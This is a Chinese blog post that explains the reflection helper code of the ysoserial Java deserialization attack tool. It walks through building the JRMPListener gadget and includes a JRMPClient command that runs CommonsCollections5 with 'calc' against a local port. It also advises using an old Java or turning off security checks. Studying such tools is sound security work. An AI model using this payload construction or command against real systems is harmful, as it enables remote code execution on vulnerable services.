ysoserial代码分析-反射

news2024/12/26 10:53:38

前言:

ysoserial作为优秀的反序列化攻击工具,其提供的攻击调用链也是很简单好用,但是一直没有分析过其代码逻辑,最近有空正好分析了一下,对反序列化理解有更好的帮助

代码分析:

其代码中最重要的两个是反射和公共调用方法,为payloads\util下的Reflections.java和Gadgets.java,我们主要对这两个文件进行分析:

反射:

查看Reflections.java,首先可以看到方法setAccessible,其根据版本,当java版本大于12的时候会通过com.nqzero.permit.Permit设置属性

//当为private和protected时将此对象的 accessible 标志设置为指示的布尔值,即设置其可访问性
// 参数 getFields() 子类和父类的所有public变量
// 参数 getMethods() 父类和子类方法
public static void setAccessible(AccessibleObject member) {
	String versionStr = System.getProperty("java.version");
	int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
	if (javaVersion < 12) {
		// quiet runtime warnings from JDK9+
		Permit.setAccessible(member);
	} else {
	// not possible to quiet runtime warnings anymore...
	// see https://bugs.openjdk.java.net/browse/JDK-8210522
	// to understand impact on Permit (i.e. it does not work
	// anymore with Java >= 12)
		member.setAccessible(true);
	}
}

这就规避了高版本下调用setAccessible失效的情况。下面将各个函数过一下,首先看下getField方法:

// 获取public、protected和private类型的变量,并设置为可访问
public static Field getField(final Class<?> clazz, final String fieldName) {
    Field field = null;
    try {
        // 只能获取子类所有的public、protected和private类型的变量,不能获取父类的变量
        field = clazz.getDeclaredField(fieldName);
        setAccessible(field);
    }
    catch (NoSuchFieldException ex) {
        // 返回当前类的父类
        if (clazz.getSuperclass() != null)
            field = getField(clazz.getSuperclass(), fieldName);
    }
    return field;
}

 getField本质上就是获取指定类public、protected和private类型的变量并设置为可访问,但是其并没有选择使用clazz.getField,因为其只能获取到public类型变量,所以需要使用 getDeclaredField获取到全部的变量,并且当获取的是父进程变量,使用clazz.getSuperclass可以跳转到父进程进行获取,并且设置为true属性,方便后续操作。很完善

其调用代码等同于如下:

类似当我需要反射org.codehaus.groovy.runtime.MethodClosure的method值,正常为如下编写:

Field field1 =  Class.forName("org.codehaus.groovy.runtime.MethodClosure").getDeclaredField("method");
field1.setAccessible(true);

使用上述方法,一行即可

Field field2 =  ysoserial_reflect.getField(Class.forName("org.codehaus.groovy.runtime.MethodClosure"), "method");

getFieldValue方法,获取Obj对象的field字段值:

// 获取Obj对象的field字段值
// Obj为NULL 获取static修饰的静态字段field的值
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
   final Field field = getField(obj.getClass(), fieldName);
   return field.get(obj);
}

很好理解就是获取对应反射方法变量的值,

getFirstCtor方法:获取第一个 类的构造函数

    // 获取第一个 类的构造函数,包括public、protected和private
    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }
Constructor ctor = ysoserial_reflect.getFirstCtor("org.apache.commons.collections.functors.InvokerTransformer");

其中有两个构造函数,使用上述代码只能获取到第一个构造函数 

 个人感觉这里只能获取到第一个构造函数不是很方便,可以加上参数,获取指定第几个构造函数,类似如下:

public static Constructor<?> getFirstCtor2(final String name, int num) throws Exception {
   final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[num];
   setAccessible(ctor);
   return ctor;
}

newInstance方法:创建类

// 使用该方法创建类,接受可变的参数个数,构造函数实际有几个传输,这里就传递几个参数值。
public static Object newInstance(String className, Object ... args) throws Exception {
   return getFirstCtor(className).newInstance(args);
}

使用org.springframework.aop.framework.JdkDynamicAopProxy测试,调用方法如下,可以成功构建JdkDynamicAopProxy类

看下 JdkDynamicAopProxy类,其本质就是调用指定类的第一个构造函数:

createWithoutConstructor:使用反射机制创建一个指定类型的新实例

    // 创建没有构造函数的类
    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    // 创建带构造函数的类
    // 使用反射机制创建一个指定类型的新实例,并使用给定的构造函数参数进行初始化,即使构造函数是 private 的
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        // 使用 constructorClass 和 consArgTypes 参数获取指定的构造函数。getDeclaredConstructor() 方法可访问 constructorClass 中的所有构造函数,包括 private 构造函数。
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        // 使用 Java 反射 API 中的 ReflectionFactory 类创建一个新的构造函数对象。这个新的构造函数对象与 objCons 不同,因为它是为序列化目的而创建的
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }

该函数主要执行流程为三步:

1.首先使用getDeclaredConstructor获取指定的类所有构造函数

2.然后调用newConstructorForSerialization创建一个新的构造函数对象,专门用于在序列化和反序列化过程中实例化一个类,其中参数要求第一个参数为要实例化的类,第二个参数为原始的构造函数对象,其必须为第一个参数的构造函数或父类构造函数

3.最后调用newInstance实例化对应类,并返回

这里用JRMPListener进行参考,代码如下:

    public UnicastRemoteObject getObject ( final String command ) throws Exception {
        int jrmpPort = Integer.parseInt(command);
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
            RemoteRef.class
        }, new Object[] {
            new UnicastServerRef(jrmpPort)
        });

        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }

其主要通过反序列化实现JRMP的指定端口的监听指定端口,然后客户端将攻击代码发送到服务端即可执行代码,首先我们测试下代码,使用ysoserial JRMPClient进行攻击:

命令如下:

java -cp ysoserial-all.jar    ysoserial.exploit.JRMPClient 127.0.0.1 33121 CommonsCollections5 "calc"

需要注意java版本,高版本的会禁止加载远程代码,使用低版本java或者关闭安全验证 

将代码分解如下:

    public static <T> T  mycreateWithConstructor() throws Exception{
        try {
            int jrmpPort = Integer.parseInt("33121");
            Constructor<? super T> objCons = (Constructor<? super T>) RemoteObject.class.getDeclaredConstructor(new Class[]{RemoteRef.class});
            ysoserial_reflect.setAccessible(objCons);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(ActivationGroupImpl.class, objCons);
            ysoserial_reflect.setAccessible(sc);
            UnicastRemoteObject uro = (UnicastRemoteObject) sc.newInstance(new Object[]{new UnicastServerRef(jrmpPort)});
            Field field = ysoserial_reflect.getField(UnicastRemoteObject.class, "port");
            field.set(uro, jrmpPort);

            ByteArrayOutputStream buf = new ByteArrayOutputStream();
            ObjectOutputStream objOut = new ObjectOutputStream(buf);
            objOut.writeObject(uro);

            byte[] ceshi = buf.toByteArray();
            //System.out.print(Base64.getEncoder().encodeToString(ceshi));

            ByteArrayInputStream btin = new ByteArrayInputStream(buf.toByteArray());
            ObjectInputStream objIn = new ObjectInputStream(btin);
            objIn.readObject();
        }catch (Exception e) {
            e.printStackTrace();
            System.out.print(e);
        }
        return null;
    }

 其执行流程如下:

1.首先反射获取RemoteObject的参数为RemoteRef的构造函数

2.通过ReflectionFactory.getReflectionFactory().newConstructorForSerialization方法,看下newConstructorForSerialization具体含义:

public Constructor<?> newConstructorForSerialization (Class<?> classToInstantiate, Constructor<?> constructorToCall)

java.lang.Class<?> classToInstantiate: 要为其创建特殊构造函数的类。通常是一个实现了 Serializable 接口的类。
java.lang.Constructor<?> constructorToCall: classToInstantiate的构造函数。这个构造函数可以是父类的。

newConstructorForSerialization创建了一个反序列化专用的反射方法对象,使用这个特殊的反射方法对象可以在newInstance创建实例的时候绕过构造方法创建类实例,这就是为何使用newConstructorForSerialization,使用newConstructorForSerialization创建ActivationGroupImpl反射方法对象,可以在实例化的时候忽略其构造方法,可靠性更高

这里使用反序列化方式获取ActivationGroupImpl类的构造方法,这里需要注意其参数objCons是我们上面获取到的RemoteObject构造函数,RemoteObject为ActivationGroupImpl的父类

3.然后实例化UnicastRemoteObject对象,这里需要注意为何本来是ActivationGroupImpl最后却要强制转换为UnicastRemoteObject,是因为Java RMI 的激活机制时,ActivationGroupImpl会优先被调用。它负责对象的激活、通信转发等功能,是先于 UnicastRemoteObject被调用的。它提供了 RMI 激活机制所需的基础支持。虽然我们最终调用的是UnicastRemoteObject的exportObject方法,但是创建的时候最好还是从基础ActivationGroupImpl进行创建。

4.最后反射修改UnicastRemoteObject的port参数为我们需要监听的端口,并生成序列化数据即可

反序列的时候首先调用UnicastRemoteObject的readObject方法:

然后调用exportObject方法,此处port值为我们设置的端口号

 

最后调用TCPTransport实现监听:

总结:

上面大概分析了ysoserial针对反射的代码,总结下其api接口,方便我们调用免得重复操作

setAccessible 可以针对多个java版本进行权限设置,不需要我们为java高版本下如何设置属性而犯愁
getField(final Class<?> clazz, final String fieldName)获取指定类clazz的fieldName变量,并且当指定类不存在会自动从父类获取
getFieldValue(final Object obj, final String fieldName) 获取指定对象obj的fieldName变量的值,并返回。
setFieldValue(final Object obj, final String fieldName, final Object value) 设置指定对象obj的fieldName变量值为value
getFirstCtor(final String name) 获取指定类name的第一个构造函数
newInstance(String className, Object ... args) 实例化反射对象,调用getFirstCtor进行构造,所以调用可以根据类的第一个构造方法返回一个实例化对象
createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) 该方法可以创建一个基于序列化的反射方法对象,首先根据获取constructorClass参数为consArgTypes的构造函数,然后调用newConstructorForSerialization创建classToInstantiate类型的特殊反射方法对象,其父类为constructorClass,最后实例化classToInstantiate对象,参数为consArgs的构造函数,该方法主要用于当我们需要反射实例化的对象较为复杂时候,可以直接调用createWithConstructor创建一个特殊的反射方法对象。
createWithoutConstructor ( Class<T> classToInstantiate ) 或者可以直接调用createWithoutConstructor生成默认参数的特殊的反射方法对象。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1928986.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

虚拟机 VMware Workstation- 安装详细步骤

目录 虚拟化概念VMware Workstation 简介一、安装准备1. 安装环境2. 软件下载 二、常见问题1. 虚拟机的【默认位置】会在C盘&#xff0c;盘符内存不够的建议改为D盘或别的盘符2. 验证许可证是否密钥是否成功。进入虚拟机点击【帮助】下的关于VMware Workstation(A)可以查看验证…

Android Stuido Gradle build编译报错原因排查

事情是这样的&#xff0c;在更新了支付宝sdk的aar文件后&#xff0c;运行项目&#xff0c;报错了。如下图&#xff1a; 但是没有给出更多错误信息。想尝试通过gradlew compileDebug --stacktrace来输出更多build时的信息&#xff0c;但没有得到更多有效信息。 接下来&#xff…

AI+ 资源数据分析运营助手

在数字化浪潮席卷全球的今天&#xff0c;资源管理&#xff0c;作为企业运营的中枢神经&#xff0c;正迎来一场由人工智能&#xff08;AI&#xff09;引领的智慧变革。从资源的智能分配到问题的瞬间解决&#xff0c;AI 正在重塑资源管理的每一个角落&#xff0c;让效率与精准成为…

13 IP层协议-网际控制报文协议ICMP

计算机网络资料下载&#xff1a;CSDNhttps://mp.csdn.net/mp_blog/creation/editor/140148186 为了更有效的转发IP数据报和提高交付成果的机会&#xff0c;在网际层使用了网际控制报文协议ICMP。ICMP允许主机或路由器报告差错情况和提供有关异常情况的报告。ICMP不是高层协议数…

十大护眼落地灯品牌哪个牌子好一点?十大落地灯品牌排行榜分享

十大护眼落地灯哪个牌子好一点&#xff1f;现在的孩子从早上睁开眼就开始学习&#xff0c;有时候还需要使用到电子产品辅助学习&#xff0c;长时间对着电子产品以及在不良的光线环境下&#xff0c;不仅会对孩子眼睛造成持续的刺激&#xff0c;损害我们的眼睛视力&#xff0c;加…

path+HTTP协议+IP+端口(nodejs)

一.path //导入 fs const fs require(fs); const path require(path); //写入文件 // fs.writeFileSync(__dirname /index.html, love); // console.log(__dirname /index.html);//resolve 解决 // console.log(path.resolve(__dirname, ./index.html)); // console.log(p…

Centos安装Nginx(手把手教学两种安装方式)

前言 在CentOS上安装Nginx&#xff0c;通常可以通过两种方式&#xff1a;使用YUM包管理器安装&#xff08;适用于官方仓库或EPEL仓库中包含的Nginx版本&#xff09;&#xff0c;或者从源代码编译安装&#xff08;适用于需要特定版本或自定义Nginx的情况&#xff09;。以下是两…

不要惊讶!就是这么6!最新发布,SD XL 虚幻引擎5光影高清模型

效果展示 提示词&#xff1a;1 sex girl,strapless,cleavage&#xff0c;glowing, solo, hood, red eyes, armor, looking at viewer, electricity, hood up, red background, gauntlets, glowing eyes, vambraces,(full_body:1.3)<lora:虚幻引擎5光影-XL_UE5-XL-V1【Unrea…

ChatGPT 深度解析:技术驱动的智能对话

在当今科技飞速发展的时代&#xff0c;ChatGPT 无疑成为了最耀眼的明星之一。它以其令人惊叹的智能对话能力&#xff0c;引发了全球范围内的广泛关注和热议。 ChatGPT 背后的技术堪称精妙绝伦。它基于深度学习算法&#xff0c;通过对海量数据的学习和分析&#xff0c;从而能够理…

[Vulnhub] Pinkys-PalaceV1 Squid http proxy+SQI+BOF

信息收集 IP AddressOpening Ports192.168.8.106TCP:8080,31337,64666 $ nmap -p- 192.168.8.106 --min-rate 1000 -sC -sV PORT STATE SERVICE VERSION 8080/tcp open http nginx 1.10.3 |_http-title: 403 Forbidden |_http-server-header: nginx/1.10.3 …

基于java+springboot+vue实现的中药实验管理系统(文末源码+Lw)124

基于SpringBootVue的实现的中药实验管理系统&#xff08;源码数据库万字Lun文流程图ER图结构图开题报告演示视频软件包&#xff09; 系统功能&#xff1a; 本中药实验管理系统有管理员&#xff0c;教师&#xff0c;学生&#xff0c;实验员。 管理员功能有个人中心&#xff0c…

【Python爬虫教程】第5篇-使用BeautifulSoup查找html元素几种常用方法

文章目录 简介find()和find_all()字符串通过id查找通过属性查找通过.方式查找通过CSS选择器查找通过xpath查找正则表达自定义方法总结 简介 上一篇详细的介绍了如何使用Beautiful Soup的使用方法&#xff0c;但是最常用的还是如何解析html元素&#xff0c;这里再汇总介绍下查询…

识别 TON 生态系统中前10种加密资产,以bitget 钱包为例

元描述&#xff1a;想要找到下一个 100 倍加密货币投资&#xff1f;请密切关注这篇文章&#xff1b;它揭示了所有可能很快变得非常有价值的 TON 网络宝石。 由 Telegram 提供支持的 TON&#xff08;开放网络&#xff09;生态系统正在蓬勃发展&#xff01;这是一个充满激动人心的…

PHP大转盘抽奖营销微信小程序系统源码

&#x1f389;【大转盘抽奖新风尚&#xff0c;微信小程序营销新利器&#xff01;】&#x1f381; &#x1f388;一、揭秘大转盘抽奖的魔力所在✨ 在这个信息爆炸的时代&#xff0c;如何让你的品牌活动脱颖而出&#xff1f;大转盘抽奖微信小程序&#xff0c;正是那把开启用户心…

捷配笔记-混合信号PCB布局设计的基本准则是什么?

混合信号PCB设计需要对模拟和数字电路有基本的了解&#xff0c;以最大限度地减少&#xff08;如果不能防止的话&#xff09;信号干扰。现代系统由数字域和模拟域均可操作的组件组成&#xff0c;这些组件必须经过精心设计&#xff0c;以确保整个系统的信号完整性。 在混合信号系…

Scott Brinker:Martech的新数据层成为营销人工智能的基础

在我们最近发布的《2024年Martech状况报告》&#xff08;State of Martech 2024 report&#xff09;中&#xff0c;我和Frans Riemersma分析了整个Martech行业发生的大量转变&#xff0c;从人工智能驱动的Martech领域的爆炸式增长&#xff0c;到Martech技术栈中「可组合性」 的…

Java+springboot+vue智慧班牌小程序源码,智慧班牌系统可以提供哪些服务?

智慧班牌全套源码&#xff0c;系统技术架构&#xff1a;Javaspringbootvue element-ui小程序电子班牌&#xff1a;Java Android演示正版授权。 智慧班牌在智慧校园的数字化建设中提供了多种服务&#xff0c;这些服务不仅丰富了校园的信息展示方式&#xff0c;还促进了家校互动…

01 Git概述

第1章&#xff1a;Git概述 一、前言 一&#xff09;什么是版本控制 ​ 版本控制是指对软件开发过程中各种程序代码、配置文件及说明文档等文件变更的管理 ​ 版本控制最主要的功能就是追踪文件的变更 ​ 凡是需要持续修改的文档资料都可以进行版本管理 二&#xff09;多人…

打造多代理团队的新方法:Tribe AI

在现代科技的推动下&#xff0c;人工智能&#xff08;AI&#xff09;已经深入到我们生活的方方面面。从自动驾驶汽车到智能家居&#xff0c;AI的应用无处不在。今天&#xff0c;我想和大家介绍一个全新的开源项目——Tribe AI。这个项目相对较新&#xff0c;因此知道它的人并不…

【Linux】常见指令(下)

【Linux】常见指令&#xff08;下&#xff09; 通配符 *man指令cp指令echo指令cat指令&#xff08;简单介绍&#xff09;cp指令 mv指令alias指令which ctrl ccat指令linux下一切皆文件 more指令less指令head指令tail指令管道 通配符 ‘*’ 通配符’ *‘&#xff0c;是可以匹配…